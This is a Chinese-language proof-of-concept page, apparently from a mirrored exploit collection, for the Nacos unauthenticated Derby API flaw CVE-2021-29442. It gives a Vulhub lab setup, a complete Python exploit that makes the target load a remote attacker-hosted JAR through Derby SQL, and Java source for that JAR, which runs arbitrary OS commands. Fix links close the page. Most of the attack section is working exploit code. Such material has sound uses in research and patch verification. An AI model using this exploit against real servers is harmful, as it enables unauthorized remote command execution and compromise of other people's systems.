mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
146 lines
4.8 KiB
Markdown
146 lines
4.8 KiB
Markdown
|
|
# Nacos 未授权接口命令执行漏洞 CVE-2021-29442
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。
|
|||
|
|
|
|||
|
|
在 Nacos 1.4.1 之前的版本中,一些 API 端点(如 `/nacos/v1/cs/ops/derby`)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL 语句和 Java 代码。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://github.com/advisories/GHSA-xv5h-v7jh-p2qh
|
|||
|
|
- https://github.com/alibaba/nacos/issues/4463
|
|||
|
|
- http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
|
|||
|
|
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/
|
|||
|
|
- https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Nacos未鉴权(Nacos<1.4.1)且使用Derby数据库作为内置数据源
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub 执行如下命令启动一个 Alibaba Nacos 1.4.0 服务器:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
服务器启动后,访问 `http://your-ip:8848/nacos/` 可以看到 Nacos 的默认登录页面。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
将恶意 JAR 包 [evil.jar](https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29442/evil.jar) 上传到攻击者的 HTTP 服务器上,例如 `http://some-webserver/evil.jar`。
|
|||
|
|
|
|||
|
|
执行 [POC](poc.py):
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`-t` 参数指定目标地址,`-s` 参数指定恶意 JAR 包的地址,`-c` 参数指定要执行的命令。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞 POC
|
|||
|
|
|
|||
|
|
poc.py
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
import random
|
|||
|
|
import sys
|
|||
|
|
import requests
|
|||
|
|
from urllib.parse import urljoin
|
|||
|
|
import argparse
|
|||
|
|
|
|||
|
|
|
|||
|
|
def exploit(target, command, service):
|
|||
|
|
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
|
|||
|
|
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
|
|||
|
|
for i in range(0, sys.maxsize):
|
|||
|
|
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
|
|||
|
|
post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
|
|||
|
|
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
|
|||
|
|
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
|
|||
|
|
"""
|
|||
|
|
get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp"
|
|||
|
|
files = {'file': post_sql}
|
|||
|
|
post_resp = requests.post(url=removal_url, files=files)
|
|||
|
|
post_json = post_resp.json()
|
|||
|
|
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
|
|||
|
|
print(post_resp.text)
|
|||
|
|
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
|
|||
|
|
print(get_resp.text)
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
|
|||
|
|
def main():
|
|||
|
|
parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
|
|||
|
|
parser.add_argument('-t', '--target', required=True, help='Target URL')
|
|||
|
|
parser.add_argument('-c', '--command', required=True, help='Command to execute')
|
|||
|
|
parser.add_argument('-s', '--service', required=True, help='Service URL')
|
|||
|
|
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
exploit(args.target, args.command, args.service)
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
main()
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
evil.jar
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
package test.poc;
|
|||
|
|
|
|||
|
|
import java.io.BufferedReader;
|
|||
|
|
import java.io.IOException;
|
|||
|
|
import java.io.InputStream;
|
|||
|
|
import java.io.InputStreamReader;
|
|||
|
|
import java.io.PrintWriter;
|
|||
|
|
import java.io.StringWriter;
|
|||
|
|
|
|||
|
|
public class Example {
|
|||
|
|
public static void main(String[] args) {
|
|||
|
|
String ret = exec("ipconfig");
|
|||
|
|
System.out.println(ret);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public static String exec(String cmd) {
|
|||
|
|
StringBuffer bf = new StringBuffer();
|
|||
|
|
try {
|
|||
|
|
String charset = "utf-8";
|
|||
|
|
String osName = System.getProperty("os.name");
|
|||
|
|
if (osName != null && osName.startsWith("Windows"))
|
|||
|
|
charset = "gbk";
|
|||
|
|
Process p = Runtime.getRuntime().exec(cmd);
|
|||
|
|
InputStream fis = p.getInputStream();
|
|||
|
|
InputStreamReader isr = new InputStreamReader(fis, charset);
|
|||
|
|
BufferedReader br = new BufferedReader(isr);
|
|||
|
|
String line = null;
|
|||
|
|
while ((line = br.readLine()) != null)
|
|||
|
|
bf.append(line);
|
|||
|
|
} catch (Exception e) {
|
|||
|
|
StringWriter writer = new StringWriter();
|
|||
|
|
PrintWriter printer = new PrintWriter(writer);
|
|||
|
|
e.printStackTrace(printer);
|
|||
|
|
try {
|
|||
|
|
writer.close();
|
|||
|
|
printer.close();
|
|||
|
|
} catch (IOException iOException) {}
|
|||
|
|
return "ERROR:" + writer.toString();
|
|||
|
|
}
|
|||
|
|
return bf.toString();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/ 关于 Nacos Derby 数据库运维接口 `/nacos/v1/cs/ops/derby` 相关问题公告
|
|||
|
|
- https://nacos.io/zh-cn/docs/v2/guide/user/auth.html Nacos 鉴权文档
|